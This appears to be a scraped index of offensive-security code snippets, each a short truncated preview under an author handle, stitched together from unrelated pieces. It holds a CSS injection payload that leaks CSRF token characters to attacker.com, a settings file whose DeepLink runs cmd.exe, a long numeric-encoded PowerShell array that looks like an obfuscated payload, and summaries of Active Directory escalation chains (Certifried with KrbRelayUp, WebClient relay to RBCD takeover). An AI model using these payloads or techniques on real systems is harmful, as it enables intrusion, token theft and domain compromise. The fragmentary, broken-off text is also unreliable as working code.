testanull

# -*- coding: utf-8 -*-
import hashlib
import base64
import requests, string, struct, uuid, random, re
import sys
from collections import OrderedDict
from sys import version
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# too lazy to deal with string <-> bytes confusion in python3 so forget it ¯\_(ツ)_/¯

tothi

Certifried combined with KrbRelayUp

Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.

The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.

Prerequisites:

gladiatx0r

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

djhohnstein

#!/usr/bin/env python3

import re
import sys
import base64
from hashlib import sha256
from binascii import hexlify, unhexlify
from Crypto.Cipher import AES
from xml.dom import minidom
from pprint import pprint

byt3bl33d3r

#! /usr/bin/env python3

# 
# Requires Python 3.7+ & aiohttp (speedups recommended)
# pip3 install aiohttp[speedups]
#

import sys
import asyncio
import aiohttp

ustayready

from __future__ import print_function
import pickle
import os.path
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from apiclient import errors
import re
from bs4 import BeautifulSoup as Soup

jkamdjou

$a = @(85,87,112,80,64,64,76,64,64,64,64,68,64,64,64,64,46,46,57,64,64,77,102,64,64,64,64,64,64,64,64,64,80,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,102,64,64,64,64,64,53,103,116,102,53,64,117,64,111,79,72,99,102,67,85,76,49,105,87,70,105,113,98,120,67,118,98,108,56,111,98,108,71,117,72,70,79,105,99,108,52,119,101,66,67,104,91,82,67,120,101,86,53,102,96,86,53,102,83,68,56,85,72,70,48,119,91,70,84,116,69,80,49,74,75,64,64,64,64,64,64,64,64,64,67,80,83,80,64,64,85,64,68,69,64,77,117,66,77,109,118,64,64,64,64,64,64,64,64,64,64,78,64,64,72,104,64,77,64,85,64,64,64,64,53,64,64,64,64,70,64,64,64,64,64,64,64,64,66,104,118,64,64,64,64,102,64,64,64,64,80,64,64,64,64,64,64,64,68,64,64,102,64,64,64,64,64,102,64,64,67,64,64,64,64,64,64,64,64,64,64,70,64,64,64,64,64,64,64,64,64,64,66,64,64,64,64,64,64,102,64,64,64,64,64,64,64,64,76,64,88,72,84,64,64,67,64,64,64,67,64,64,64,64,64,64,68,64,64,64,68,64,64,64,64,64,64,64,64,67,

d0nutptr

input[name=csrf][value^=a]{
    background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
    background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
    background-image: url(https://attacker.com/exfil/9);   
}

enigma0x3

<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
  <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
    <ApplicationInformation>
      <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
      <DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink>
      <Icon>%windir%\system32\control.exe</Icon>
    </ApplicationInformation>
    <SettingIdentity>
      <PageID></PageID>

bandrel

#!/usr/bin/env python3

#Purpose: To check for and reveal AD user accounts that share passwords using a hashdump from a Domain Controller
#Script requires a command line argument of a file containing usernames/hashes in the format of user:sid:LMHASH:NTLMHASH:::
# ./check_hashes.py <hash_dump>

import argparse
import re

parser = argparse.ArgumentParser(description="Check user hashes against each other to find users that share passwords")